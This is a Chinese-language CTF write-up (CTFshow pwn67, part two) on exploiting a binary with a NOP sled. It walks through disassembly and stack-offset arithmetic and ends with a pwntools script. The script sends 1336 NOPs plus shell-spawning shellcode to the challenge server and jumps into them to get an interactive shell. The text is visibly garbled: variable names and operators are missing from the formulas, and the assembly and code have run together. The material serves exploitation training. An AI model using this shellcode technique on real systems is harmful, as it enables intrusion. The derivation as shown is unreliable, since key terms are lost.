nop sled空操作雪橇 CTFshow-pwn入门-pwn67( 二 )


我们就可以结束main函数泄露出的这个变量的值,因为这个值是v1的地址+v2的值,并且v2的是为rand()37 - 668 。rand()是生成一个随机数字,rand()37代表生成的这个随机数对1337取模,那么这个值rand()37的值就为0~1336 。然后再减去668,那么v2的取值就为-668~668 。
由于v1是*()函数的局部变量,那么我们的v1就一定在栈上,我们就利用v1的地址来确定我们输进v5的地址是多少 。
这里为了清楚,我们得画出执行到*()函数时,栈的布局是怎样的 。
这里展示了main函数从开始到执行到*()函数的汇编代码,我们要分析一下栈中的操作是如何变化的 。
.text:0804894F 55pushebp.text:08048950 89 E5movebp, esp.text:08048952 53pushebx.text:08048953 51pushecx.text:08048954 81 EC 10 10 00 00subesp, 1010h.text:0804895A E8 41 FC FF FFcall__x86_get_pc_thunk_bx.text:0804895A.text:0804895F 81 C3 A1 26 00 00addebx, (offset _GLOBAL_OFFSET_TABLE_ - $).text:08048965 65 A1 14 00 00 00moveax, large gs:14h.text:0804896B 89 45 F4mov[ebp+var_C], eax.text:0804896E 31 C0xoreax, eax.text:08048970 8B 83 FC FF FF FFmoveax, ds:(stdout_ptr - 804B000h)[ebx].text:08048976 8B 00moveax, [eax].text:08048978 83 EC 08subesp, 8.text:0804897B 6A 00push0; buf.text:0804897D 50pusheax; stream.text:0804897E E8 0D FB FF FFcall_setbuf.text:0804897E.text:08048983 83 C4 10addesp, 10h.text:08048986 E8 B8 FE FF FFcalllogo.text:08048986.text:0804898B 8D 85 F4 EF FF FFleaeax, [ebp+seed].text:08048991 83 EC 0Csubesp, 0Ch.text:08048994 50pusheax; seed.text:08048995 E8 56 FB FF FFcall_srand.text:08048995.text:0804899A 83 C4 10addesp, 10h.text:0804899D E8 C4 FC FF FFcallLoading.text:0804899D.text:080489A2 E8 2B FD FF FFcallacquire_satellites.text:080489A2.text:080489A7 E8 25 FE FF FFcallquery_position
栈首先是将调用main函数的函数的ebp压到栈顶,然后push了一个ebx和一个ecx,接着由将esp减少了,此时栈顶为ebp-0x4-0x4-,32位一个存储单元4字节 。然后呢,又有了esp减去了8,push了一个eax和0,这时栈顶位ebp-0x4-0x4--0x8-0x4-0x4 。之后呢运行过函数,esp又增加了0x10,此时esp为ebp-0x4-0x4--0x8-0x4-0x4+0x10=ebp-0x4-0x4- 。再然后esp又减去了0xc,并且又push了一个eax,那么此时栈顶为ebp-0x4-0x4--0xc-0x4 。执行完srand函数之后esp又增加了0x10,那么此时的栈顶为ebp-0x4-0x4--0xc-0x4+0x10=ebp-0x4-0x4- 。之后调用完函数和函数就是*函数了 。从IDA反编译结果在*函数中就可以看到局部变量相对函数ebp的位置了 。
可以看到v1是在函数ebp-0x15的位置 。
那么此时栈的布局图就是这样的:
我们可以看出来v1距离seed的位置是0x15+0x4+0x4+0x10=0x2d,
我们令=rand()37,v2=rand()37-668=-668,
那么=&v1+v2=&v1+-668(∈(0,1336)),
则&v1=+668-,&seed=&v1+0x2d=+0x2d+668-,而我们的nop指令+是写到seed里的,又因为前面说了我们输进v5的地址要在第一个nop指令之后,因为第一个nop指令也就是seed在栈中的位置,所以我们输进v5的地址应该是&seed加上某个数值,那我们就可以将+0x2d+668输进v5,因为+0x2d+668=&seed+,由于我们seed大小是=4096,而是0~1336,所以可以放心加 。
因为输进v5的地址要在之前,那么我们的nop指令数就要大于=,∈(0,1336),那我们就将nop指令数设置为1336 。这样我们就有以及输进v5的地址 。
为1336*nop +
地址为: + 0x2d + 668
编写exp
from pwn import *context.arch = "i386"#context.log_level = "debug"io = process("./pwn")io = remote("pwn.challenge.ctf.show","28144")io.recvuntil("current location: ")# 接收positionaddr = eval(io.recvuntil("\n",drop=True))print hex(addr)# \x90为nop指令payload = "\x90" * 1336 + asm(shellcraft.sh())io.recvuntil("> ")io.sendline(payload)# 输进v5的地址shell_addr = addr + 0x2d + 668io.recvuntil("> ")io.sendline(hex(shell_addr))io.interactive()